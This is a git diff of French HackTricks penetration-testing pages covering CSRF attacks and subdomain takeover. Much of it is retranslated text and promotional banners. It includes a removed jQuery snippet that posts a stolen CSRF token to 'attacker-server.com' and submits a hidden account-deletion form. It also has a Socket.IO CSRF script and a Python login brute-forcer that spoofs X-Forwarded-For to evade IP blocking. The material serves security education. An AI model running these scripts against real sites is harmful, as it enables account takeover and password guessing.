```markup
|
||||
<script>
|
||||
var token;
|
||||
|
@ -744,69 +446,7 @@ height="600" width="800"></iframe>
|
|||
<button type="submit">Submit</button>
|
||||
</form>
|
||||
```
|
||||
### **POSTSteal CSRF token with Ajax and send a post with a form**
|
||||
|
||||
### **POSTVoler le jeton CSRF avec Ajax et envoyer une requête POST avec un formulaire**
|
||||
|
||||
To perform a Cross-Site Request Forgery (CSRF) attack, an attacker needs to steal the CSRF token from the target website and then use it to send malicious requests on behalf of the victim.
|
||||
|
||||
Pour effectuer une attaque de falsification de requête entre sites (CSRF), un attaquant doit voler le jeton CSRF du site cible, puis l'utiliser pour envoyer des requêtes malveillantes au nom de la victime.
|
||||
|
||||
One way to steal the CSRF token is by using Ajax to make a request to the target website and extract the token from the response.
|
||||
|
||||
Une façon de voler le jeton CSRF consiste à utiliser Ajax pour effectuer une requête vers le site cible et extraire le jeton de la réponse.
|
||||
|
||||
```javascript
|
||||
$.ajax({
|
||||
url: 'https://target-website.com',
|
||||
type: 'GET',
|
||||
success: function(response) {
|
||||
var csrfToken = $(response).find('input[name="csrf_token"]').val();
|
||||
// Send the stolen CSRF token to the attacker's server
|
||||
$.post('https://attacker-server.com', { token: csrfToken });
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
```javascript
|
||||
$.ajax({
|
||||
url: 'https://site-cible.com',
|
||||
type: 'GET',
|
||||
success: function(response) {
|
||||
var csrfToken = $(response).find('input[name="csrf_token"]').val();
|
||||
// Envoyer le jeton CSRF volé au serveur de l'attaquant
|
||||
$.post('https://serveur-de-lattaquant.com', { token: csrfToken });
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
Once the attacker has obtained the CSRF token, they can use it to craft a malicious form and submit it to the target website.
|
||||
|
||||
Une fois que l'attaquant a obtenu le jeton CSRF, il peut l'utiliser pour créer un formulaire malveillant et le soumettre au site cible.
|
||||
|
||||
```javascript
|
||||
var maliciousForm = $('<form action="https://target-website.com" method="POST">' +
|
||||
'<input type="hidden" name="csrf_token" value="' + csrfToken + '">' +
|
||||
'<input type="hidden" name="action" value="delete_account">' +
|
||||
'</form>');
|
||||
|
||||
$('body').append(maliciousForm);
|
||||
maliciousForm.submit();
|
||||
```
|
||||
|
||||
```javascript
|
||||
var formulaireMalveillant = $('<form action="https://site-cible.com" method="POST">' +
|
||||
'<input type="hidden" name="csrf_token" value="' + csrfToken + '">' +
|
||||
'<input type="hidden" name="action" value="supprimer_compte">' +
|
||||
'</form>');
|
||||
|
||||
$('body').append(formulaireMalveillant);
|
||||
formulaireMalveillant.submit();
|
||||
```
|
||||
|
||||
By submitting the malicious form, the attacker can trick the victim's browser into performing actions on the target website without their knowledge or consent.
|
||||
|
||||
En soumettant le formulaire malveillant, l'attaquant peut tromper le navigateur de la victime pour qu'il effectue des actions sur le site cible sans son consentement ni sa connaissance.
|
||||
### **Vol de jeton CSRF avec Ajax et envoi d'un post avec un formulaire**
|
||||
```markup
|
||||
<body onload="getData()">
|
||||
|
||||
|
@ -834,16 +474,6 @@ document.getElementById("form").submit();
|
|||
</script>
|
||||
```
|
||||
### CSRF avec Socket.IO
|
||||
|
||||
Socket.IO est une bibliothèque JavaScript qui permet la communication en temps réel entre le serveur et le client. Elle est souvent utilisée dans les applications web pour créer des fonctionnalités en temps réel telles que les chats en direct ou les mises à jour en direct.
|
||||
|
||||
Cependant, Socket.IO peut également être vulnérable aux attaques de falsification de requête intersite (CSRF). Une attaque CSRF se produit lorsque le navigateur d'un utilisateur authentifié envoie une requête non autorisée à un site web sans que l'utilisateur en soit conscient.
|
||||
|
||||
Pour exploiter une vulnérabilité CSRF avec Socket.IO, un attaquant peut utiliser une page web malveillante pour envoyer une requête WebSocket à un serveur Socket.IO. Cette requête peut contenir des instructions malveillantes qui seront exécutées par le serveur.
|
||||
|
||||
Pour se protéger contre les attaques CSRF avec Socket.IO, il est recommandé d'utiliser des jetons anti-CSRF. Ces jetons sont générés par le serveur et inclus dans les requêtes WebSocket. Le serveur vérifie ensuite si le jeton est valide avant de traiter la requête.
|
||||
|
||||
En utilisant des jetons anti-CSRF, il devient beaucoup plus difficile pour un attaquant de mener une attaque CSRF réussie avec Socket.IO. Cependant, il est important de noter que la mise en œuvre correcte des jetons anti-CSRF est essentielle pour assurer une protection efficace contre les attaques CSRF.
|
||||
```markup
|
||||
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
|
||||
<script>
|
||||
|
@ -864,9 +494,9 @@ room: username
|
|||
});
|
||||
</script>
|
||||
```
|
||||
## CSRF Brute Force de Connexion
|
||||
## Force brute de connexion CSRF
|
||||
|
||||
Le code peut être utilisé pour effectuer une attaque de force brute sur un formulaire de connexion en utilisant un jeton CSRF (il utilise également l'en-tête X-Forwarded-For pour tenter de contourner un éventuel blocage d'adresse IP) :
|
||||
Le code peut être utilisé pour forcer brutalement un formulaire de connexion utilisant un jeton CSRF (Il utilise également l'en-tête X-Forwarded-For pour tenter de contourner un éventuel blocage d'IP) :
|
||||
```python
|
||||
import request
|
||||
import re
|
||||
|
@ -910,7 +540,7 @@ with open(PASS_LIST, "r") as f:
|
|||
for line in f:
|
||||
login(USER, line.strip())
|
||||
```
|
||||
## Outils <a href="#outils" id="outils"></a>
|
||||
## Outils <a href="#tools" id="tools"></a>
|
||||
|
||||
* [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
|
||||
* [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
|
||||
|
@ -924,27 +554,29 @@ login(USER, line.strip())
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes en sécurité !
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs !
|
||||
|
||||
**Perspectives de piratage**\
|
||||
Engagez-vous avec du contenu qui explore les sensations et les défis du piratage
|
||||
**Aperçus du Hacking**\
|
||||
Engagez-vous avec du contenu qui plonge dans l'excitation et les défis du hacking.
|
||||
|
||||
**Actualités de piratage en temps réel**\
|
||||
Restez à jour avec le monde du piratage en évolution rapide grâce aux actualités et aux informations en temps réel
|
||||
**Nouvelles du Hacking en Temps Réel**\
|
||||
Restez à jour avec le monde du hacking rapide grâce à des nouvelles et des aperçus en temps réel.
|
||||
|
||||
**Dernières annonces**\
|
||||
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
|
||||
**Dernières Annonces**\
|
||||
Restez informé avec les derniers lancements de primes de bugs et les mises à jour cruciales de la plateforme.
|
||||
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,31 +2,33 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et **automatiser des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Obtenez un accès aujourd'hui :
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser des workflows** grâce aux outils communautaires **les plus avancés**.\
|
||||
Accédez-y dès aujourd'hui :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Prise de contrôle de domaine
|
||||
|
||||
Si vous découvrez un domaine (domaine.tld) qui est **utilisé par un service dans le périmètre** mais que l'**entreprise** en a **perdu la propriété**, vous pouvez essayer de le **enregistrer** (si c'est assez bon marché) et informer l'entreprise. Si ce domaine reçoit des **informations sensibles** telles qu'un cookie de session via un paramètre **GET** ou dans l'en-tête **Referer**, cela constitue certainement une **vulnérabilité**.
|
||||
Si vous découvrez un domaine (domain.tld) qui est **utilisé par un service dans le périmètre** mais que l'**entreprise** a **perdu la propriété** de celui-ci, vous pouvez essayer de le **enregistrer** (si le prix est raisonnable) et informer l'entreprise. Si ce domaine reçoit des **informations sensibles** comme un cookie de session via un paramètre **GET** ou dans l'en-tête **Referer**, c'est assurément une **vulnérabilité**.
|
||||
|
||||
### Prise de contrôle de sous-domaine
|
||||
|
||||
Un sous-domaine de l'entreprise pointe vers un **service tiers dont le nom n'est pas enregistré**. Si vous pouvez **créer** un **compte** dans ce **service tiers** et **enregistrer** le **nom** en cours d'utilisation, vous pouvez effectuer la prise de contrôle du sous-domaine.
|
||||
Un sous-domaine de l'entreprise pointe vers un **service tiers avec un nom non enregistré**. Si vous pouvez **créer** un **compte** dans ce **service tiers** et **enregistrer** le **nom** en usage, vous pouvez réaliser la prise de contrôle du sous-domaine.
|
||||
|
||||
Il existe plusieurs outils avec des dictionnaires pour vérifier les prises de contrôle possibles :
|
||||
|
||||
|
@ -42,41 +44,41 @@ Il existe plusieurs outils avec des dictionnaires pour vérifier les prises de c
|
|||
* [https://github.com/antichown/subdomain-takeover](https://github.com/antichown/subdomain-takeover)
|
||||
* [https://github.com/musana/mx-takeover](https://github.com/musana/mx-takeover)
|
||||
|
||||
#### Analyse des sous-domaines piratables avec [BBOT](https://github.com/blacklanternsecurity/bbot) :
|
||||
#### Analyse des sous-domaines susceptibles d'être détournés avec [BBOT](https://github.com/blacklanternsecurity/bbot) :
|
||||
|
||||
Les vérifications de prise de contrôle de sous-domaine sont incluses dans l'énumération des sous-domaines par défaut de BBOT. Les signatures sont extraites directement de [https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz).
|
||||
Les vérifications de prise de contrôle de sous-domaine sont incluses dans l'énumération par défaut des sous-domaines de BBOT. Les signatures sont directement extraites de [https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz).
|
||||
```bash
|
||||
bbot -t evilcorp.com -f subdomain-enum
|
||||
```
|
||||
### Génération de prise de contrôle de sous-domaine via un DNS wildcard
|
||||
### Prise de contrôle de sous-domaine via DNS Wildcard
|
||||
|
||||
Lorsqu'un DNS wildcard est utilisé dans un domaine, tout sous-domaine demandé de ce domaine qui n'a pas explicitement une adresse différente sera **résolu avec les mêmes informations**. Cela peut être une adresse IP A, un CNAME...
|
||||
Lorsqu'un DNS wildcard est utilisé dans un domaine, tout sous-domaine demandé de ce domaine qui n'a pas d'adresse explicitement différente sera **résolu avec les mêmes informations**. Cela pourrait être une adresse IP A, un CNAME...
|
||||
|
||||
Par exemple, si `*.testing.com` est wildcardé vers `1.1.1.1`. Alors, `not-existent.testing.com` pointera vers `1.1.1.1`.
|
||||
Par exemple, si `*.testing.com` est redirigé par wildcard vers `1.1.1.1`. Alors, `not-existent.testing.com` pointera vers `1.1.1.1`.
|
||||
|
||||
Cependant, si au lieu de pointer vers une adresse IP, l'administrateur système le pointe vers un **service tiers via un CNAME**, comme un **sous-domaine GitHub** par exemple (`sohomdatta1.github.io`). Un attaquant pourrait **créer sa propre page tiers** (dans ce cas, sur GitHub) et dire que `something.testing.com` pointe là-bas. Parce que le **CNAME wildcard** l'accepte, l'attaquant pourra **générer des sous-domaines arbitraires pour le domaine de la victime pointant vers ses pages**.
|
||||
Cependant, si au lieu de pointer vers une adresse IP, le sysadmin le redirige vers un **service tiers via CNAME**, comme un **sous-domaine github** par exemple (`sohomdatta1.github.io`). Un attaquant pourrait **créer sa propre page tierce** (sur Github dans ce cas) et dire que `something.testing.com` pointe là-bas. Parce que, le **CNAME wildcard** sera d'accord, l'attaquant pourra **générer des sous-domaines arbitraires pour le domaine de la victime pointant vers ses pages**.
|
||||
|
||||
Vous pouvez trouver un exemple de cette vulnérabilité dans le write-up du CTF : [https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api)
|
||||
Vous pouvez trouver un exemple de cette vulnérabilité dans le compte-rendu du CTF : [https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api)
|
||||
|
||||
## Exploitation d'une prise de contrôle de sous-domaine
|
||||
|
||||
**Ces informations ont été copiées depuis** [**https://0xpatrik.com/subdomain-takeover/**](https://0xpatrik.com/subdomain-takeover/)
|
||||
**Cette information a été copiée de** [**https://0xpatrik.com/subdomain-takeover/**](https://0xpatrik.com/subdomain-takeover/)
|
||||
|
||||
Récemment, j'ai [écrit](https://0xpatrik.com/subdomain-takeover-basics/) sur les bases de la prise de contrôle de sous-domaine. Bien que le concept soit maintenant généralement bien compris, j'ai remarqué que les gens ont souvent du mal à comprendre les risques que la prise de contrôle de sous-domaine présente. Dans cet article, je vais approfondir et couvrir les risques les plus importants de la _prise de contrôle de sous-domaine_ selon mon point de vue.
|
||||
Récemment, j'ai [écrit](https://0xpatrik.com/subdomain-takeover-basics/) sur les bases de la prise de contrôle de sous-domaine. Bien que le concept soit maintenant généralement bien compris, j'ai remarqué que les gens ont généralement du mal à saisir les risques que cela représente. Dans cet article, je couvre en profondeur les risques les plus notables de _prise de contrôle de sous-domaine_ de mon point de vue.
|
||||
|
||||
_Remarque : Certains risques sont atténués implicitement par le fournisseur de cloud. Par exemple, lorsque la prise de contrôle de sous-domaine est possible sur Amazon CloudFront, il n'y a aucun moyen de configurer des enregistrements TXT pour contourner les vérifications SPF. L'article vise donc à fournir des risques liés à la prise de contrôle de sous-domaine en général. Néanmoins, la plupart de ces risques s'appliquent également aux fournisseurs de cloud._
|
||||
_Note : Certains risques sont atténués implicitement par le fournisseur de cloud. Par exemple, lorsqu'une prise de contrôle de sous-domaine est possible sur Amazon CloudFront, il n'est pas possible de configurer des enregistrements TXT pour contourner les vérifications SPF. L'article vise donc à fournir des risques sur la prise de contrôle de sous-domaine en général. Néanmoins, la plupart de ces risques s'appliquent également aux fournisseurs de cloud._
|
||||
|
||||
### Transparence pour un navigateur <a href="#transparencytoabrowser" id="transparencytoabrowser"></a>
|
||||
|
||||
Pour commencer, examinons la résolution DNS lorsqu'un CNAME est impliqué :
|
||||
Pour commencer, examinons la résolution DNS où CNAME est impliqué :
|
||||
|
||||
![Résolution DNS](https://0xpatrik.com/content/images/2018/05/resolution-2.png)
|
||||
|
||||
Notez que l'étape n°7 demande _sub.example.com_ plutôt que _anotherdomain.com_. C'est parce que le navigateur Web n'est pas conscient de l'existence de _anotherdomain.com_. Même si un enregistrement CNAME est utilisé, la barre d'URL du navigateur contient toujours _sub.example.com_. C'est la **transparence** pour le navigateur. Si vous y réfléchissez, le navigateur place toute sa confiance dans le résolveur DNS pour fournir des informations précises sur le domaine. En simplifiant, la prise de contrôle de sous-domaine est un détournement DNS pour un domaine particulier à travers Internet. Pourquoi ? Parce que tout navigateur effectuant la résolution DNS sur le domaine concerné reçoit un ensemble d'enregistrements A définis par un attaquant. Le navigateur affiche ensuite joyeusement ce qui est reçu de ce serveur (en pensant que c'est légitime).
|
||||
Notez que l'étape #7 demande _sub.example.com_ plutôt que _anotherdomain.com_. C'est parce que le navigateur web n'est pas conscient que _anotherdomain.com_ existe même. Bien qu'un enregistrement CNAME soit utilisé, la barre d'URL dans le navigateur contient toujours _sub.example.com_. C'est la **transparence** pour le navigateur. Si vous y pensez, le navigateur fait entièrement confiance au résolveur DNS pour fournir des informations précises sur le domaine. Simplifié, la prise de contrôle de sous-domaine est un spoofing DNS pour un domaine particulier sur Internet. Pourquoi ? Parce que tout navigateur effectuant la résolution DNS sur le domaine affecté reçoit un enregistrement A défini par un attaquant. Le navigateur affiche alors joyeusement tout ce qui est reçu de ce serveur (pensant que c'est légitime).
|
||||
|
||||
Un tel domaine crée un scénario parfait pour le phishing. Les attaquants utilisent souvent le [_typosquatting_](https://en.wikipedia.org/wiki/Typosquatting) ou les soi-disant [_Doppelganger domains_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger) pour imiter le domaine/site légitime à des fins de phishing. Après qu'un attaquant ait pris le contrôle d'un nom de domaine légitime, il est presque impossible pour un utilisateur régulier de savoir si le contenu du domaine est fourni par une partie légitime ou par un attaquant. Prenons par exemple une banque au hasard. Si l'un des sous-domaines de la banque est vulnérable à la prise de contrôle de sous-domaine, un attaquant peut créer un formulaire HTML qui imite le formulaire de connexion au système de banque en ligne de la banque. Ensuite, un attaquant peut mener une campagne de spear phishing ou de phishing de masse demandant aux utilisateurs de se connecter et de changer leurs mots de passe. À ce stade, les mots de passe sont capturés par un attaquant qui contrôle le domaine en question. L'URL fournie dans l'e-mail de phishing est un sous-domaine légitime d'une banque. Par conséquent, les utilisateurs ne sont pas conscients de ce qui se passe de malveillant. Les filtres anti-spam et autres mesures de sécurité sont également moins susceptibles de déclencher l'e-mail en tant que spam ou malveillant car il contient des noms de domaine ayant une plus grande confiance.
|
||||
Un tel domaine constitue un scénario parfait pour le phishing. Les attaquants utilisent souvent le [_typosquatting_](https://en.wikipedia.org/wiki/Typosquatting) ou les soi-disant [_Doppelganger domains_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger) pour imiter le domaine/site web légitime à des fins de phishing. Après qu'un attaquant a pris le contrôle d'un nom de domaine légitime, il est presque impossible pour un utilisateur ordinaire de dire si le contenu sur le domaine est fourni par une partie légitime ou un attaquant. Prenons par exemple une banque aléatoire. Si l'un des sous-domaines de la banque est vulnérable à la prise de contrôle de sous-domaine, un attaquant peut créer un formulaire HTML qui imite le formulaire de connexion au système de banque en ligne de la banque. Ensuite, un attaquant peut lancer une campagne de phishing ciblée ou de masse demandant aux utilisateurs de se connecter et de changer leurs mots de passe. À ce stade, les mots de passe sont capturés par un attaquant qui contrôle le domaine en question. L'URL fournie dans l'e-mail de phishing est un sous-domaine légitime d'une banque. Par conséquent, les utilisateurs ne sont pas conscients de quelque chose de malveillant. Les filtres anti-spam et autres mesures de sécurité sont également moins susceptibles de déclencher l'e-mail comme spam ou malveillant car il contient des noms de domaine de confiance plus élevée.
|
||||
|
||||
En effet, le nom de domaine lui-même joue un rôle important dans une campagne réussie. Avoir un sous-domaine de 5e niveau vulnérable à la prise de contrôle de sous-domaine est beaucoup moins _"légitime"_ que d'avoir un sous-domaine de 2e niveau avec un nom de sous-domaine convivial. J'ai vu plusieurs exemples de sous-domaines parfaits pour le phishing, notamment :
|
||||
En effet, le nom de domaine lui-même joue un rôle significatif dans une campagne réussie. Avoir un sous-domaine de 5ème niveau vulnérable à la prise de contrôle de sous-domaine est beaucoup moins _"légitime"_ qu'avoir un sous-domaine de 2ème niveau avec un nom de sous-domaine convivial. J'ai vu plusieurs exemples de sous-domaines parfaits pour le phishing, y compris :
|
||||
|
||||
* _purchases.SOMETHING.com_
|
||||
* _www.SOMETHING.com_
|
||||
|
@ -85,110 +87,118 @@ En effet, le nom de domaine lui-même joue un rôle important dans une campagne
|
|||
|
||||
Tous vulnérables à la prise de contrôle de sous-domaine. Tous étaient de grandes marques. Parler de phishing parfait ?
|
||||
|
||||
Néanmoins, les récentes campagnes de phishing hébergent du contenu sur des domaines avec de longs noms de domaine qui incluent le nom de la marque (voir l'exemple d'Apple). Avec un certificat SSL valide (voir ci-dessous), un mot-clé dans le nom de domaine et un site web qui imite le site web de la marque ciblée, les gens ont tendance à tomber dans ces attaques. Pensez aux chances avec un sous-domaine légitime de cette marque.
|
||||
Néanmoins, les campagnes de phishing récentes hébergent du contenu sur des domaines avec de longs noms de domaine qui incluent le nom de la marque (voir [exemple Apple](https://www.phishtank.com/target\_search.php?target\_id=183\&valid=y\&active=All\&Search=Search)). Ayant un certificat SSL valide (plus à ce sujet ci-dessous), un mot-clé dans le nom de domaine et un site web qui imite le site web de la marque ciblée, les gens ont tendance à tomber dans ces attaques. Pensez aux chances avec un sous-domaine légitime de cette marque.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer facilement et **automatiser des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Accédez-y dès aujourd'hui :
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser des workflows** alimentés par les outils communautaires **les plus avancés**.\
|
||||
Obtenez l'accès aujourd'hui :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
### Certificats SSL <a href="#sslcertificates" id="sslcertificates"></a>
|
||||
|
||||
L'attaque ci-dessus peut être améliorée en générant un certificat SSL valide. Les autorités de certification telles que [_Let's Encrypt_](https://letsencrypt.org/) permettent la vérification automatique de la propriété d'un domaine par la vérification du contenu :
|
||||
L'attaque ci-dessus peut être renforcée en générant un certificat SSL valide. Des autorités de certification telles que [_Let's Encrypt_](https://letsencrypt.org/) permettent la vérification automatique de la propriété d'un domaine par vérification de contenu :
|
||||
|
||||
![Flux de Let's Encrypt](https://0xpatrik.com/content/images/2018/05/letsencrypt.png)
|
||||
![Flux Let's Encrypt](https://0xpatrik.com/content/images/2018/05/letsencrypt.png)
|
||||
|
||||
C'est-à-dire que si un contenu spécifique est placé sur un chemin d'URL spécifique, Let's Encrypt approuvera la délivrance d'un certificat pour un domaine donné. Étant donné qu'un attaquant a un contrôle total sur le contenu du domaine vulnérable à la prise de contrôle de sous-domaine, cette vérification peut être effectuée en quelques minutes. Par conséquent, les attaquants sont également capables de générer un certificat SSL pour un tel domaine, ce qui ne fait que réduire les soupçons d'une attaque de phishing.
|
||||
### Vol de cookies <a href="#voldecookies" id="voldecookies"></a>
|
||||
C'est-à-dire, si un contenu spécifique est placé sur un chemin d'URL spécifique, Let's Encrypt approuvera l'émission d'un certificat pour un domaine donné. Puisqu'un attaquant a un contrôle total sur le contenu du domaine qui est vulnérable à la prise de contrôle de sous-domaine, cette vérification peut être effectuée en quelques minutes. Par conséquent, les attaquants sont également capables de générer un certificat SSL pour un tel domaine, ce qui ne fait que diminuer les soupçons d'une attaque de phishing.
|
||||
|
||||
Cela va de pair avec la transparence du navigateur mais a des conséquences différentes. Les navigateurs Web mettent en œuvre de nombreuses politiques de sécurité pour empêcher les sites Web malveillants de causer des dommages. Cela inclut des choses telles que la [politique de même origine](https://en.wikipedia.org/wiki/Same-origin_policy). L'une des principales responsabilités de sécurité d'un navigateur est de sécuriser les cookies enregistrés. Pourquoi ? Bien que HTTP soit un protocole sans état, les cookies sont utilisés pour suivre les sessions. Pour plus de commodité, les utilisateurs enregistrent souvent les cookies pendant une période prolongée afin de ne pas avoir à se connecter à chaque fois. Ces cookies agissent donc comme un jeton de connexion qui est présenté au serveur Web et l'utilisateur est identifié. Des attaques telles que le [_piratage de session_](https://en.wikipedia.org/wiki/Session_hijacking) ont naturellement évolué à partir de ce concept.
|
||||
### Vol de cookies <a href="#cookiestealing" id="cookiestealing"></a>
|
||||
|
||||
Le navigateur présente automatiquement les cookies stockés avec chaque demande au domaine qui les a émis. Il existe une exception à cela, de sorte que les cookies peuvent être partagés entre les sous-domaines ([lire ici](https://tools.ietf.org/html/rfc6265#section-8.6), voir également la section 8.7). Cela se produit généralement lorsque le site Web utilise un système de [Single sign-on](https://en.wikipedia.org/wiki/Single_sign-on) (SSO) basé sur les cookies. Avec SSO, un utilisateur peut se connecter en utilisant un sous-domaine et partager le même jeton de session sur un large éventail de sous-domaines. La syntaxe pour définir un cookie régulier est la suivante :
|
||||
